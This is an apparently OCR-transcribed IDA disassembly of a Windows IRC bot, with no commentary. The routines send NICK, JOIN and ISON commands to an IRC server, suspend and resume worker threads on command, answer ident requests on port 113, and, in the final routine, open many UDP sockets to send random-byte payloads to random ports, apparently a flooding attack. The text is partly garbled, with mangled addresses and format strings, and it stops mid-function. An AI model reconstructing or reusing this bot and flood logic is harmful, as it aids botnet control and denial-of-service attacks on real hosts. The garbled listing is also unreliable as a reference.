.text:004029D9      lea    eax, [ebp-7F0h]
.text:004029DF      push   eax
.text:004029E0      call   sub_4039A5
.text:004029E5      add     esp, 8
.text:004029E8      loc_4029E8:                                     ; CODE XREF: sub_40156D+1469*j
.text:004029E8      xor     esi, esi
.text:004029EA      jmp     loc_402AAF
; -----
.text:004029EF      loc_4029EF:                                     ; DATA XREF: .data:00408288*o
.text:004029EF      push   2
.text:004029F1      push   dword ptr [ebp-0CA4h]
.text:004029F7      call   sub_4040AF
.text:004029FC      add     esp, 8
.text:004029FF      mov     esi, eax
.text:00402A01      cmp     byte ptr [esi], 0
.text:00402A04      jz     short loc_402A16
.text:00402A06      push   esi
.text:00402A07      lea    eax, [ebp-7F0h]
.text:00402A0D      push   eax
.text:00402A0E      call   sub_403A55
.text:00402A13      add     esp, 8
.text:00402A16      loc_402A16:                                     ; CODE XREF: sub_40156D+1497*j
.text:00402A16      xor     esi, esi
.text:00402A18      jmp     loc_402AAF
; -----
.text:00402A1D

```

```

.text:00402A1D loc_402A1D:                                ; DATA XREF: .data:0040828C•o
.text:00402A1D      push      2
.text:00402A1F      push      dword ptr [ebp-0CA4h]
.text:00402A25      call     sub_4040AF
.text:00402A2A      add     esp, 8
.text:00402A2D      mov     esi, eax
.text:00402A2F      cmp     byte ptr [esi], 0
.text:00402A32      jz     short loc_402A89
.text:00402A34      push   77h
.text:00402A36      push   esi
.text:00402A37      lea   eax, [ebp-6F4h]
.text:00402A3D      push   eax
.text:00402A3E      call   strncpy
.text:00402A43      add     esp, 0Ch
.text:00402A46      mov     byte ptr [ebp-67Dh], 0
.text:00402A4D      mov     dword ptr [ebp-4], 0
.text:00402A54      jmp    short loc_402A71
.text:00402A56      ; -----
.text:00402A56      loc_402A56:                                ; CODE XREF: sub_40156D+151A•j
.text:00402A56      mov     eax, [ebp-4]
.text:00402A59      cmp     byte ptr [ebp+eax-6F3h], 2
.text:00402A61      jnz    short loc_402A6E
.text:00402A63      mov     eax, [ebp-4]
.text:00402A66      mov     byte ptr [ebp+eax-6F3h], 20h
.text:00402A6E      loc_402A6E:                                ; CODE XREF: sub_40156D+14F4•j
.text:00402A6E      inc     dword ptr [ebp-4]
.text:00402A71      loc_402A71:                                ; CODE XREF: sub_40156D+14E7•j
.text:00402A71      lea   ecx, [ebp-6F4h]
.text:00402A77      or     eax, 0FFFFFFFFh
.text:00402A7A      loc_402A7A:                                ; CODE XREF: sub_40156D+1512•j
.text:00402A7A      inc     eax
.text:00402A7B      cmp     byte ptr [ecx+eax], 0
.text:00402A7F      jnz    short loc_402A7A
.text:00402A81      sub     eax, 1
.text:00402A84      cmp     [ebp-4], eax
.text:00402A87      jb     short loc_402A56
.text:00402A89      loc_402A89:                                ; CODE XREF: sub_40156D+14C5•j
.text:00402A89      xor     esi, esi
.text:00402A8B      jmp    short loc_402AAF
.text:00402A8D      ; -----
.text:00402A8D      loc_402A8D:                                ; CODE XREF: sub_40156D+A06•j
                                           ; sub_40156D+A0F•j
.text:00402A8D      push   0FFFFFFFFh
.text:00402A8F      push   [ebp+var_CA4]
.text:00402A95      call   sub_4040AF
.text:00402A9A      push   eax
.text:00402A9B      push   offset aS_0      ; "%s\n"
.text:00402AA0      lea   edi, [ebp+buf]
.text:00402AA6      push   edi
.text:00402AA7      call   sprintf
.text:00402AAC      add     esp, 14h
.text:00402AAF      loc_402AAF:                                ; CODE XREF: sub_40156D+A37•j
                                           ; sub_40156D+A58•j ...
.text:00402AAF      push   [ebp+var_CA4]
.text:00402AB5      call   free
.text:00402ABA      pop    ecx
.text:00402ABB      jmp    loc_402C3E
.text:00402AC0      ; -----
.text:00402AC0      loc_402AC0:                                ; DATA XREF: .data:00408218•o
.text:00402AC0      mov     eax, dword_4081D8
.text:00402AC5      cmp     [ebp-414h], eax
.text:00402ACB      jnz    short loc_402B47

```

```

.text:00402ACD      push      3Ah
.text:00402ACF      push      ebx
.text:00402AD0      call     strchr
.text:00402AD5      add      esp, 8
.text:00402AD8      mov      esi, eax
.text:00402ADA      or      esi, esi
.text:00402ADC      jz      loc_402C3E
.text:00402AE2      push     3Ah
.text:00402AE4      mov      eax, esi
.text:00402AE6      inc      eax
.text:00402AE7      push     eax
.text:00402AE8      call     strchr
.text:00402AED      add      esp, 8
.text:00402AF0      mov      [ebp-408h], eax
.text:00402AF6      or      eax, eax
.text:00402AF8      jz      loc_402C3E
.text:00402AFE      lea     eax, [ebp-50Ch]
.text:00402B04      push     eax
.text:00402B05      call     sub_403C0A
.text:00402B0A      add      esp, 4
.text:00402B0D      or      eax, eax
.text:00402B0F      jnz     short loc_402B3B
.text:00402B11      mov      eax, [ebp-408h]
.text:00402B17      inc      eax
.text:00402B18      push     eax
.text:00402B19      call     sub_403C45
.text:00402B1E      add      esp, 4
.text:00402B21      mov      edx, eax
.text:00402B23      movsx   edi, dl
.text:00402B26      push     edi
.text:00402B27      push     offset aNickC ; "NICK %c\n"
.text:00402B2C      lea     edi, [ebp+buf]
.text:00402B32      push     edi
.text:00402B33      call     sprintf
.text:00402B38      add      esp, 0Ch
.text:00402B3B      loc_402B3B: ; CODE XREF: sub_40156D+15A2*j
.text:00402B3B      xor      esi, esi
.text:00402B3D      mov      [ebp+var_408], esi
.text:00402B43      xor      esi, esi
.text:00402B45      jmp     short loc_402BA3
.text:00402B47      ; -----
.text:00402B47      loc_402B47: ; CODE XREF: sub_40156D+155E*j
.text:00402B47      cmp     [ebp+var_418], 0
.text:00402B47      jnz     short loc_402BA3
.text:00402B4E      lea     eax, [ebp+var_50C]
.text:00402B50      push     eax ; const char *
.text:00402B57      lea     eax, [ebp+Parameter]
.text:00402B5D      push     eax ; const char *
.text:00402B5E      call     _strcmpl
.text:00402B63      add      esp, 8
.text:00402B66      or      eax, eax
.text:00402B68      jz      short loc_402BA3
.text:00402B6A      push     4
.text:00402B6C      push     ebx
.text:00402B6D      call     sub_4040AF
.text:00402B72      add      esp, 8
.text:00402B75      mov      esi, eax
.text:00402B77      cmp     byte ptr [esi], 0
.text:00402B7A      jz      loc_402C3E
.text:00402B80      cmp     byte ptr [esi+1], 0
.text:00402B84      jnz     short loc_402BA1
.text:00402B86      lea     eax, [ebp+Parameter]
.text:00402B8C      push     eax
.text:00402B8D      push     offset aNickS ; "NICK %s\n"
.text:00402B92      lea     eax, [ebp+buf]
.text:00402B98      push     eax
.text:00402B99      call     sprintf
.text:00402B9E      add      esp, 0Ch

```

```

.text:00402BA1
.text:00402BA1 loc_402BA1: ; CODE XREF: sub_40156D+1617*j
.text:00402BA1      xor     esi, esi
.text:00402BA3
.text:00402BA3 loc_402BA3: ; CODE XREF: sub_40156D+15D8*j
.text:00402BA3      ; sub_40156D+15E1*j ...
.text:00402BA3      mov     [ebp+var_41C], 1
.text:00402BAD      jmp     loc_402C3E
-----
.text:00402BB2
.text:00402BB2 loc_402BB2: ; DATA XREF: .data:00408220*o
.text:00402BB2      lea    eax, [ebp-6F4h]
.text:00402BB8      push   eax
.text:00402BB9      push   offset aJoinS ; "JOIN #s\n"
.text:00402BBE      lea    eax, [ebp+buf]
.text:00402BC4      push   eax
.text:00402BC5      call   sprintf
.text:00402BCA      add    esp, 0Ch
.text:00402BCD      mov    eax, dword_4081D8
.text:00402BD2      cmp    [ebp+var_414], eax
.text:00402BD8      jnz   short loc_402BF0
.text:00402BDA      cmp    [ebp+hThread], 0
.text:00402BE1      jz    short loc_402BF0
.text:00402BE3      push  [ebp+hThread] ; hThread
.text:00402BE9      call  ResumeThread
.text:00402BEE      jmp   short loc_402C34
-----
.text:00402BF0
.text:00402BF0 loc_402BF0: ; CODE XREF: sub_40156D+166B*j
.text:00402BF0      ; sub_40156D+1674*j
.text:00402BF0      mov    eax, dword_4081DC
.text:00402BF5      cmp    [ebp+var_414], eax
.text:00402BFB      jnz   short loc_402C13
.text:00402BFD      cmp    [ebp+var_CC8], 0
.text:00402C04      jz    short loc_402C13
.text:00402C06      push  [ebp+var_CC8] ; hThread
.text:00402C0C      call  ResumeThread
.text:00402C11      jmp   short loc_402C34
-----
.text:00402C13
.text:00402C13 loc_402C13: ; CODE XREF: sub_40156D+168E*j
.text:00402C13      ; sub_40156D+1697*j
.text:00402C13      mov    eax, dword_4081E0
.text:00402C18      cmp    [ebp+var_414], eax
.text:00402C1E      jnz   short loc_402C34
.text:00402C20      cmp    [ebp+var_CD4], 0
.text:00402C27      jz    short loc_402C34
.text:00402C29      push  [ebp+var_CD4] ; hThread
.text:00402C2F      call  ResumeThread
.text:00402C34
.text:00402C34 loc_402C34: ; CODE XREF: sub_40156D+1681*j
.text:00402C34      ; sub_40156D+16A4*j ...
.text:00402C34      mov    [ebp+var_41C], 1 ; dwExitCode
.text:00402C3E
.text:00402C3E loc_402C3E: ; CODE XREF: sub_40156D+44C*j
.text:00402C3E      ; sub_40156D+455*j ...
.text:00402C3E      cmp    [ebp+buf], 0
.text:00402C45      jz    short loc_402C81
.text:00402C47      lea   ecx, [ebp+buf]
.text:00402C4D      or    eax, 0FFFFFFFFh
.text:00402C50
.text:00402C50 loc_402C50: ; CODE XREF: sub_40156D+16E8*j
.text:00402C50      inc    eax
.text:00402C51      cmp    byte ptr [ecx+eax], 0
.text:00402C55      jnz   short loc_402C50
.text:00402C57      push  0 ; flags
.text:00402C59      push  eax ; len
.text:00402C5A      lea   eax, [ebp+buf]
.text:00402C60      push  eax ; buf
.text:00402C61      push  [ebp+s] ; s

```

```

.text:00402C67      call     send
.text:00402C6C      cmp     eax, 0
.text:00402C6F      jle    short loc_402C96
.text:00402C71      mov     ecx, 100h
.text:00402C76      xor     edi, edi
.text:00402C78      lea    eax, [ebp+buf]
.text:00402C7E      xchg   eax, edi
.text:00402C7F      repe  stosd
.text:00402C81
.text:00402C81 loc_402C81:      ; CODE XREF: sub_40156D+16D8*j
.text:00402C81      or     ebx, ebx
.text:00402C83      jz     short loc_402C8E
.text:00402C85      mov     eax, [ebp+var_588]
.text:00402C8B      mov     ebx, eax
.text:00402C8D      inc    ebx
.text:00402C8E
.text:00402C8E loc_402C8E:      ; CODE XREF: sub_40156D+3DC*j
                    ; sub_40156D+1716*j
.text:00402C8E      or     ebx, ebx
.text:00402C90      jnz    loc_40194E
.text:00402C96
.text:00402C96 loc_402C96:      ; CODE XREF: sub_40156D+403*j
                    ; sub_40156D+1702*j
.text:00402C96      mov     ecx, 100h
.text:00402C9B      xor     edi, edi
.text:00402C9D      lea    eax, [ebp+var_BF4]
.text:00402CA3      xchg   eax, edi
.text:00402CA4      repe  stosd
.text:00402CA6
.text:00402CA6 loc_402CA6:      ; CODE XREF: sub_40156D+3D1*j
.text:00402CA6      push   0          ; flags
.text:00402CA8      push   400h       ; len
.text:00402CAD      lea    eax, [ebp+var_BF4]
.text:00402CB3      push   eax        ; buf
.text:00402CB4      push   [ebp+s]    ; s
.text:00402CBA      call   recv
.text:00402CBF      or     eax, eax
.text:00402CC1      jg     loc_401943
.text:00402CC7      mov     eax, dword_4081D8
.text:00402CCC      cmp     [ebp+var_414], eax
.text:00402CD2      jnz    short loc_402CEA
.text:00402CD4      cmp     [ebp+hThread], 0
.text:00402CDB      jz     short loc_402CEA
.text:00402CDD      push   [ebp+hThread] ; hThread
.text:00402CE3      call   SuspendThread
.text:00402CE8      jmp    short loc_402D2E
.text:00402CEA ; -----
.text:00402CEA
.text:00402CEA loc_402CEA:      ; CODE XREF: sub_40156D+1765*j
                    ; sub_40156D+176E*j
.text:00402CEA      mov     eax, dword_4081DC
.text:00402CEF      cmp     [ebp+var_414], eax
.text:00402CF5      jnz    short loc_402D0D
.text:00402CF7      cmp     [ebp+var_CC8], 0
.text:00402CFE      jz     short loc_402D0D
.text:00402D00      push   [ebp+var_CC8] ; hThread
.text:00402D06      call   SuspendThread
.text:00402D0B      jmp    short loc_402D2E
.text:00402D0D ; -----
.text:00402D0D
.text:00402D0D loc_402D0D:      ; CODE XREF: sub_40156D+1788*j
                    ; sub_40156D+1791*j
.text:00402D0D      mov     eax, dword_4081E0
.text:00402D12      cmp     [ebp+var_414], eax
.text:00402D18      jnz    short loc_402D2E
.text:00402D1A      cmp     [ebp+var_CD4], 0
.text:00402D21      jz     short loc_402D2E
.text:00402D23      push   [ebp+var_CD4] ; hThread
.text:00402D29      call   SuspendThread
.text:00402D2E

```

```

.text:00402D2E loc_402D2E:                                     ; CODE XREF: sub_40156D+177B*j
.text:00402D2E                                             ; sub_40156D+179E*j ...
.text:00402D2E      push  [ebp+s]                                     ; s
.text:00402D34      call closesocket
.text:00402D39      mov   [ebp+s], 0
.text:00402D43      lea  eax, [ebp+var_7F0]
.text:00402D49      push eax
.text:00402D4A      call sub_403AF6
.text:00402D4F      add  esp, 4
.text:00402D52 loc_402D52:                                     ; CODE XREF: sub_40156D+275*j
.text:00402D52                                             ; sub_40156D+2F9*j ...
.text:00402D52      jmp  loc_401766
; -----
.text:00402D57      push  1
.text:00402D59      call ExitThread
.text:00402D5E      xor  eax, eax
.text:00402D60      inc  eax
.text:00402D61 loc_402D61:                                     ; CODE XREF: sub_40156D+108*j
.text:00402D61                                             ; sub_40156D+237*j
.text:00402D61      pop  edi
.text:00402D62      pop  esi
.text:00402D63      pop  ebx
.text:00402D64      leave
.text:00402D65      retn 4
.text:00402D65 sub_40156D      endp
.text:00402D68      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00402D68      ; Attributes: bp-based frame
.text:00402D68 sub_402D68      proc near                                     ; DATA XREF: sub_40156D+19D*o
.text:00402D68      buf = byte ptr -78h
.text:00402D68      arg_0 = dword ptr 8
.text:00402D68      push ebp
.text:00402D69      mov  ebp, esp
.text:00402D6B      sub  esp, 78h
.text:00402D6E      push edi
.text:00402D6F      mov  edi, [ebp+arg_0]
.text:00402D72 loc_402D72:                                     ; CODE XREF: sub_402D68+67*j
.text:00402D72                                             ; dwMilliseconds
.text:00402D72      push 0BB8h
.text:00402D77      call Sleep
.text:00402D7C      mov  eax, [edi+174h]
.text:00402D82      cmp  dword ptr [eax], 0
.text:00402D85      jz   short loc_402D90
.text:00402D87      cmp  dword ptr [edi+168h], 1
.text:00402D8E      jz   short loc_402D92
.text:00402D90 loc_402D90:                                     ; CODE XREF: sub_402D68+1D*j
.text:00402D90                                             ;
.text:00402D92      jmp  short loc_402DCF
; -----
.text:00402D92 loc_402D92:                                     ; CODE XREF: sub_402D68+26*j
.text:00402D92      push edi
.text:00402D93      push offset aIsonS ; "ISON %s\n"
.text:00402D98      lea  eax, [ebp+buf]
.text:00402D9B      push eax
.text:00402D9C      call sprintf
.text:00402DA1      add  esp, 0Ch
.text:00402DA4      lea  ecx, [ebp+buf]
.text:00402DA7      or   eax, 0FFFFFFFFh
.text:00402DAA loc_402DAA:                                     ; CODE XREF: sub_402D68+47*j
.text:00402DAA      inc  eax
.text:00402DAB      cmp  byte ptr [ecx+eax], 0

```

```

.text:00402DAF          jnz     short loc_402DAA
.text:00402DB1          push    0                ; flags
.text:00402DB3          push    eax               ; len
.text:00402DB4          lea    eax, [ebp+buf]
.text:00402DB7          push    eax               ; buf
.text:00402DB8          mov    eax, [edi+174h]
.text:00402DBE          push    dword ptr [eax] ; s
.text:00402DC0          call   send
.text:00402DC5          mov    dword ptr [edi+168h], 0
.text:00402DCF          loc_402DCF:                ; CODE XREF: sub_402D68+28*j
.text:00402DCF          jmp    short loc_402D72
.text:00402DCF          sub_402D68          endp
.text:00402DCF          ; -----
.text:00402DD1          ; -----
.text:00402DD1          push    1
.text:00402DD3          call   ExitThread
.text:00402DD8          xor    eax, eax
.text:00402DDA          inc    eax
.text:00402DDB          pop    edi
.text:00402DDC          leave
.text:00402DDD          retn    4
.text:00402DE0          ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00402DE0          ; Attributes: bp-based frame
.text:00402DE0          sub_402DE0          proc near                ; DATA XREF: sub_40156D+1C1*o
.text:00402DE0          buf                = byte ptr -78h
.text:00402DE0          arg_0              = dword ptr 8
.text:00402DE0          push    ebp
.text:00402DE1          mov    ebp, esp
.text:00402DE3          sub    esp, 78h
.text:00402DE6          push    edi
.text:00402DE7          mov    edi, [ebp+arg_0]
.text:00402DEA          loc_402DEA:                ; CODE XREF: sub_402DE0+52*j
.text:00402DEA          push    0BB8h            ; dwMilliseconds
.text:00402DEF          call   Sleep
.text:00402DF4          mov    eax, [edi+174h]
.text:00402DFA          cmp    dword ptr [eax], 0
.text:00402DFD          jz     short loc_402E32
.text:00402DFF          push    edi
.text:00402E00          push    offset aNickS    ; "NICK %s\n"
.text:00402E05          lea    eax, [ebp+buf]
.text:00402E08          push    eax
.text:00402E09          call   sprintf
.text:00402E0E          add    esp, 0Ch
.text:00402E11          lea    ecx, [ebp+buf]
.text:00402E14          or     eax, 0FFFFFFFFh
.text:00402E17          loc_402E17:                ; CODE XREF: sub_402DE0+3C*j
.text:00402E17          inc    eax
.text:00402E18          cmp    byte ptr [ecx+eax], 0
.text:00402E1C          jnz    short loc_402E17
.text:00402E1E          push    0                ; flags
.text:00402E20          push    eax               ; len
.text:00402E21          lea    eax, [ebp+buf]
.text:00402E24          push    eax               ; buf
.text:00402E25          mov    eax, [edi+174h]
.text:00402E2B          push    dword ptr [eax] ; s
.text:00402E2D          call   send
.text:00402E32          loc_402E32:                ; CODE XREF: sub_402DE0+1D*j
.text:00402E32          jmp    short loc_402DEA
.text:00402E32          sub_402DE0          endp
.text:00402E32          ; -----
.text:00402E34          ; -----

```



```

.text:00402E34      push      1
.text:00402E36      call     ExitThread
.text:00402E3B      xor      eax, eax
.text:00402E3D      inc      eax
.text:00402E3E      pop      edi
.text:00402E3F      leave
.text:00402E40      retn     4
.text:00402E43      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00402E43      ; Attributes: bp-based frame
.text:00402E43      sub_402E43      proc near          ; DATA XREF: sub_40156D+1E5*o
.text:00402E43      arg_0          = dword ptr 8
.text:00402E43      push      ebp
.text:00402E44      mov      ebp, esp
.text:00402E46      push     edi
.text:00402E47      mov      edi, [ebp+arg_0]
.text:00402E4A      loc_402E4A:    ; CODE XREF: sub_402E43+68*j
.text:00402E4A      push     0BB8h      ; dwMilliseconds
.text:00402E4F      call     Sleep
.text:00402E54      mov      eax, [edi+174h]
.text:00402E5A      cmp      dword ptr [eax], 0
.text:00402E5D      jz       short loc_402E7A
.text:00402E5F      cmp      dword ptr [edi+168h], 1
.text:00402E66      jnz      short loc_402E7A
.text:00402E68      mov      eax, edi
.text:00402E6A      add      eax, 78h
.text:00402E6D      push     eax
.text:00402E6E      call     sub_403C0A
.text:00402E73      add      esp, 4
.text:00402E76      or       eax, eax
.text:00402E78      jz       short loc_402E7C
.text:00402E7A      loc_402E7A:    ; CODE XREF: sub_402E43+1A*j
.text:00402E7A      ; sub_402E43+23*j
.text:00402E7A      jmp      short loc_402EAB
.text:00402E7C      ; -----
.text:00402E7C      loc_402E7C:    ; CODE XREF: sub_402E43+35*j
.text:00402E7C      lea     ecx, ds:40808Ch
.text:00402E82      or      eax, 0FFFFFFFFh
.text:00402E85      loc_402E85:    ; CODE XREF: sub_402E43+47*j
.text:00402E85      inc      eax
.text:00402E86      cmp      byte ptr [ecx+eax], 0
.text:00402E8A      jnz      short loc_402E85
.text:00402E8C      push     0          ; flags
.text:00402E8E      push     eax        ; len
.text:00402E8F      push     offset unk_40808C ; buf
.text:00402E94      mov      eax, [edi+174h]
.text:00402E9A      push     dword ptr [eax] ; s
.text:00402E9C      call     send
.text:00402EA1      mov      dword ptr [edi+168h], 0
.text:00402EAB      loc_402EAB:    ; CODE XREF: sub_402E43+37*j
.text:00402EAB      jmp      short loc_402E4A
.text:00402EAB      sub_402E43      endp
.text:00402EAD      ; -----
.text:00402EAD      push     1
.text:00402EAF      call     ExitThread
.text:00402EB4      xor      eax, eax
.text:00402EB6      inc      eax
.text:00402EB7      pop      edi
.text:00402EB8      pop      ebp
.text:00402EB9      retn     4

```

```

.text:00402EBC
.text:00402EBC ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00402EBC
.text:00402EBC ; Attributes: bp-based frame
.text:00402EBC sub_402EBC      proc near                ; DATA XREF: sub_40156D+204*o
.text:00402EBC
.text:00402EBC addr      = sockaddr ptr -0D0h
.text:00402EBC addrlen   = dword ptr -0C0h
.text:00402EBC var_BA    = byte ptr -0BAh
.text:00402EBC name     = sockaddr ptr -24h
.text:00402EBC buf      = byte ptr -14h
.text:00402EBC var_12    = byte ptr -12h
.text:00402EBC
.text:00402EBC          push    ebp
.text:00402EBD          mov     ebp, esp
.text:00402EBF          sub     esp, 0D0h
.text:00402EC5          push    ebx
.text:00402EC6          push    esi
.text:00402EC7          push    edi
.text:00402EC8          mov     [ebp+addrlen], 10h
.text:00402ED2          push    0                ; protocol
.text:00402ED4          push    1                ; type
.text:00402ED6          push    2                ; af
.text:00402ED8          call   socket
.text:00402EDD          mov     edi, eax
.text:00402EDF          cmp     eax, 0FFFFFFFFh
.text:00402EE2          jnz    short loc_402EF2
.text:00402EE4          push    0                ; dwExitCode
.text:00402EE6          call   ExitThread
.text:00402EEB          xor     eax, eax
.text:00402EED          jmp    loc_40301D
.text:00402EF2 ; -----
.text:00402EF2
.text:00402EF2 loc_402EF2:                ; CODE XREF: sub_402EBC+26*j
.text:00402EF2          push    10h
.text:00402EF4          push    0
.text:00402EF6          lea    eax, [ebp+name]
.text:00402EF9          push    eax
.text:00402EFA          call   memset
.text:00402EFF          add     esp, 0Ch
.text:00402F02          push    71h                ; hostshort
.text:00402F04          call   htons
.text:00402F09          mov     word ptr [ebp+name.sa_data], ax
.text:00402F0D          mov     [ebp+name.sa_family], 2
.text:00402F13          mov     dword ptr [ebp+name.sa_data+2], 0
.text:00402F1A          push    [ebp+addrlen]     ; namelen
.text:00402F20          lea    eax, [ebp+name]
.text:00402F23          push    eax                ; name
.text:00402F24          push    edi                ; s
.text:00402F25          call   bind
.text:00402F2A          or     eax, eax
.text:00402F2C          jnz    loc_40300E
.text:00402F32          push    1                ; backlog
.text:00402F34          push    edi                ; s
.text:00402F35          call   listen
.text:00402F3A          or     eax, eax
.text:00402F3C          jnz    loc_40300E
.text:00402F42          lea    eax, [ebp+addrlen]
.text:00402F48          push    eax                ; addrlen
.text:00402F49          lea    eax, [ebp+addr]
.text:00402F4F          push    eax                ; addr
.text:00402F50          push    edi                ; s
.text:00402F51          call   accept
.text:00402F56          mov     esi, eax
.text:00402F58          cmp     eax, 0FFFFFFFFh
.text:00402F5B          jz     loc_40300E
.text:00402F61          push    0                ; flags
.text:00402F63          push    14h               ; len
.text:00402F65          lea    eax, [ebp+buf]

```

```

.text:00402F68      push    eax                ; buf
.text:00402F69      push    esi                ; s
.text:00402F6A      call   recv
.text:00402F6F      or     eax, eax
.text:00402F71      jg     short loc_402F7E
.text:00402F73      push    esi                ; s
.text:00402F74      call   closesocket
.text:00402F79      jmp    loc_40300E
.text:00402F7E      ; -----
.text:00402F7E      loc_402F7E:                ; CODE XREF: sub_402EBC+B5*j
.text:00402F7E      push    0Dh
.text:00402F80      lea    eax, [ebp+buf]
.text:00402F83      push    eax
.text:00402F84      call   strchr
.text:00402F89      mov    byte ptr [eax], 0
.text:00402F8C      push    2Ch
.text:00402F8E      lea    eax, [ebp+buf]
.text:00402F91      push    eax
.text:00402F92      call   strchr
.text:00402F97      mov    byte ptr [eax], 0
.text:00402F9A      push    8
.text:00402F9C      push    2
.text:00402F9E      call   sub_403B66
.text:00402FA3      push    eax
.text:00402FA4      lea    ebx, [ebp+addr.sa_data+4]
.text:00402FAA      push    ebx
.text:00402FAB      call   sub_403BB4
.text:00402FB0      add    esp, 20h
.text:00402FB3      lea    ecx, [ebp+buf]
.text:00402FB6      or     eax, 0FFFFFFFFh
.text:00402FB9      loc_402FB9:                ; CODE XREF: sub_402EBC+102*j
.text:00402FB9      inc    eax
.text:00402FBA      cmp    byte ptr [ecx+eax], 0
.text:00402FBE      jnz   short loc_402FB9
.text:00402FC0      push    0Ah
.text:00402FC2      push    0Dh
.text:00402FC4      lea    edx, [ebp+addr.sa_data+4]
.text:00402FCA      push    edx
.text:00402FCB      lea    eax, [ebp+eax+var_12]
.text:00402FCF      push    eax
.text:0040FD0      lea    eax, [ebp+buf]
.text:0040FD3      push    eax
.text:0040FD4      push    offset aSSUseridUnixSC ; "%s, %s : USERID : UNIX : %s%c%c"
.text:0040FD9      lea    eax, [ebp+var_BA]
.text:0040FDF      push    eax
.text:0040FE0      call   sprintf
.text:0040FE5      add    esp, 1Ch
.text:0040FE8      lea    ecx, [ebp+var_BA]
.text:0040FEE      or     eax, 0FFFFFFFFh
.text:0040FF1      loc_402FF1:                ; CODE XREF: sub_402EBC+13A*j
.text:0040FF1      inc    eax
.text:0040FF2      cmp    byte ptr [ecx+eax], 0
.text:0040FF6      jnz   short loc_402FF1
.text:0040FF8      push    0                ; flags
.text:0040FFA      push    eax                ; len
.text:0040FFB      lea    eax, [ebp+var_BA]
.text:00403001      push    eax                ; buf
.text:00403002      push    esi                ; s
.text:00403003      call   send
.text:00403008      push    esi                ; s
.text:00403009      call   closesocket
.text:0040300E      loc_40300E:                ; CODE XREF: sub_402EBC+70*j
                                ; sub_402EBC+80*j ...
.text:0040300E      push    edi                ; s
.text:0040300F      call   closesocket
.text:00403014      push    0                ; dwExitCode

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```

.text:00403016      call     ExitThread
.text:0040301B      xor     eax, eax
.text:0040301D      loc_40301D:                                     ; CODE XREF: sub_402EBC+31•j
.text:0040301D      pop     edi
.text:0040301E      pop     esi
.text:0040301F      pop     ebx
.text:00403020      leave
.text:00403021      retn
.text:00403021      sub_402EBC      endp
.text:00403021
.text:00403022
.text:00403022      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00403022      ; Attributes: bp-based frame
.text:00403022      sub_403022      proc near                                       ; DATA XREF: sub_40156D+BAA•o
.text:00403022
.text:00403022      var_88          = dword ptr -88h
.text:00403022      var_84          = dword ptr -84h
.text:00403022      var_80          = dword ptr -80h
.text:00403022      s              = dword ptr -1Ch
.text:00403022      var_18         = dword ptr -18h
.text:00403022      buf            = dword ptr -14h
.text:00403022      to             = sockaddr ptr -10h
.text:00403022      arg_0          = dword ptr 8
.text:00403022
.text:00403022      push     ebp
.text:00403023      mov     ebp, esp
.text:00403025      sub     esp, 88h
.text:0040302B      push     ebx
.text:0040302C      push     esi
.text:0040302D      push     edi
.text:0040302E      mov     [ebp+var_84], 0
.text:00403038      mov     ebx, [ebp+arg_0]
.text:0040303B      cmp     dword ptr [ebx], 0
.text:0040303E      jz     short loc_40305B
.text:00403040      cmp     dword ptr [ebx+19Ch], 0
.text:00403047      jz     short loc_40305B
.text:00403049      cmp     dword ptr [ebx+198h], 0
.text:00403050      jz     short loc_40305B
.text:00403052      cmp     dword ptr [ebx+194h], 0
.text:00403059      jnz    short loc_403062
.text:0040305B      loc_40305B:                                     ; CODE XREF: sub_403022+1C•j
.text:0040305B      ; sub_403022+25•j ...
.text:0040305B      push     0                                       ; dwExitCode
.text:0040305D      call    ExitThread
.text:00403062      loc_403062:                                     ; CODE XREF: sub_403022+37•j
.text:00403062      call    GetTickCount
.text:00403067      mov     edi, eax
.text:00403069      add     edi, [ebx+194h]
.text:0040306F      mov     [ebp+var_88], edi
.text:00403075      push     dword ptr [ebx+19Ch]
.text:0040307B      call    malloc
.text:00403080      add     esp, 4
.text:00403083      mov     [ebp+buf], eax
.text:00403086      or     eax, eax
.text:00403088      jnz    short loc_403091
.text:0040308A      push     0                                       ; dwExitCode
.text:0040308C      call    ExitThread
.text:00403091      loc_403091:                                     ; CODE XREF: sub_403022+66•j
.text:00403091      mov     [ebp+var_18], 0
.text:00403098      jmp     short loc_4030B4
.text:0040309A      ; -----
.text:0040309A      loc_40309A:                                     ; CODE XREF: sub_403022+9B•j
.text:0040309A      push     7Eh

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.text:0040309C      push      41h
.text:0040309E      call     sub_403B66
.text:004030A3      add     esp, 8
.text:004030A6      mov     edi, [ebp+var_18]
.text:004030A9      mov     edx, [ebp+buf]
.text:004030AC      mov     ecx, eax
.text:004030AE      mov     [edx+edi], cl
.text:004030B1      inc     [ebp+var_18]
.text:004030B4      loc_4030B4:
.text:004030B4      mov     eax, [ebx+19Ch] ; CODE XREF: sub_403022+76*j
.text:004030BA      cmp     [ebp+var_18], eax
.text:004030BD      jb     short loc_40309A
.text:004030BF      mov     eax, [ebp+var_18]
.text:004030C2      mov     edx, [ebp+buf]
.text:004030C5      mov     byte ptr [edx+eax], 0
.text:004030C9      mov     [ebp+var_18], 0
.text:004030D0      loc_4030D0:
.text:004030D0      push    11h ; CODE XREF: sub_403022+D4*j
.text:004030D2      push    2 ; protocol
.text:004030D4      push    2 ; type
.text:004030D6      call   socket ; af
.text:004030DB      mov     edi, [ebp+var_18]
.text:004030DE      mov     [ebp+edi*4+var_80], eax
.text:004030E2      cmp     [ebp+edi*4+var_80], 0FFFFFFFFh
.text:004030E7      jz     short loc_4030F8
.text:004030E9      inc     [ebp+var_84]
.text:004030EF      inc     [ebp+var_18]
.text:004030F2      cmp     [ebp+var_18], 19h
.text:004030F6      jl     short loc_4030D0
.text:004030F8      loc_4030F8:
.text:004030F8      mov     [ebp+to.sa_family], 2 ; CODE XREF: sub_403022+C5*j
.text:004030FE      mov     [ebp+var_18], 0
.text:00403105      jmp     short loc_403180
.text:00403107      ; -----
.text:00403107      loc_403107:
.text:00403107      mov     edi, [ebp+var_18] ; CODE XREF: sub_403022+172*j
.text:0040310A      mov     edi, [ebp+edi*4+var_80]
.text:0040310E      mov     [ebp+s], edi
.text:00403111      push    2710h
.text:00403116      push    64h
.text:00403118      call   sub_403B66
.text:0040311D      add     esp, 8
.text:00403120      mov     edi, eax
.text:00403122      movzx  edi, di
.text:00403125      push    edi ; hostshort
